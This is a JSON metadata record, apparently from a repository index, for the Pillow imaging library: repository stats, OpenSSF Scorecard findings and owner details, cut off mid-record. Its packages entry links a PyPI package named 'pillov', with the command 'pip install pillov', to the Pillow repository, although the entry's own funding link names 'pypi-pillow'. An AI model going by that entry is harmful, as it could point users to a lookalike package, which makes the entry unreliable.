{"id":364115,"url":"https://github.com/python-pillow/Pillow","last_synced_at":"2026-08-23T22:06:39.781Z","repository":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-18T03:21:16.000Z","size":210899,"stargazers_count":13762,"open_issues_count":158,"forks_count":2487,"subscribers_count":218,"default_branch":"main","last_synced_at":"2026-08-19T20:07:15.086Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-19T11:30:41.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36784011,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-19T02:00:06.185Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-20T01:07:13.818Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13933,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-20T01:07:13.831Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"packages":[{"id":8406627,"name":"pillov","ecosystem":"pypi","description":"Python Imaging Library (Fork)","homepage":"https://python-pillow.org","licenses":"HPND","normalized_licenses":["HPND"],"repository_url":"https://github.com/python-pillow/Pillow","keywords_array":["Imaging"],"namespace":null,"versions_count":1,"first_release_published_at":"2023-10-10T11:58:54.000Z","latest_release_published_at":"2023-10-10T11:58:54.000Z","latest_release_number":"10.0.1","last_synced_at":"2026-08-22T21:33:16.742Z","created_at":"2023-10-10T12:04:03.871Z","updated_at":"2026-08-22T21:33:16.742Z","registry_url":"https://pypi.org/project/pillov/","install_command":"pip install pillov --index-url https://pypi.org/simple","documentation_url":"https://pillov.readthedocs.io/","metadata":{"funding":"https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","classifiers":["Development Status :: 6 - Mature","License :: OSI Approved :: Historical Permission Notice and Disclaimer (HPND)","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Multimedia :: Graphics","Topic :: Multimedia :: Graphics :: Capture :: Digital Camera","Topic :: Multimedia :: Graphics :: Capture :: Screen Capture","Topic :: Multimedia :: Graphics :: Graphics Conversion","Topic :: Multimedia :: Graphics :: Viewers"],"normalized_name":"pillov"},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-18T03:21:16.000Z","size":210899,"stargazers_count":13762,"open_issues_count":158,"forks_count":2487,"subscribers_count":218,"default_branch":"main","last_synced_at":"2026-08-19T20:07:15.086Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-19T11:30:41.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices 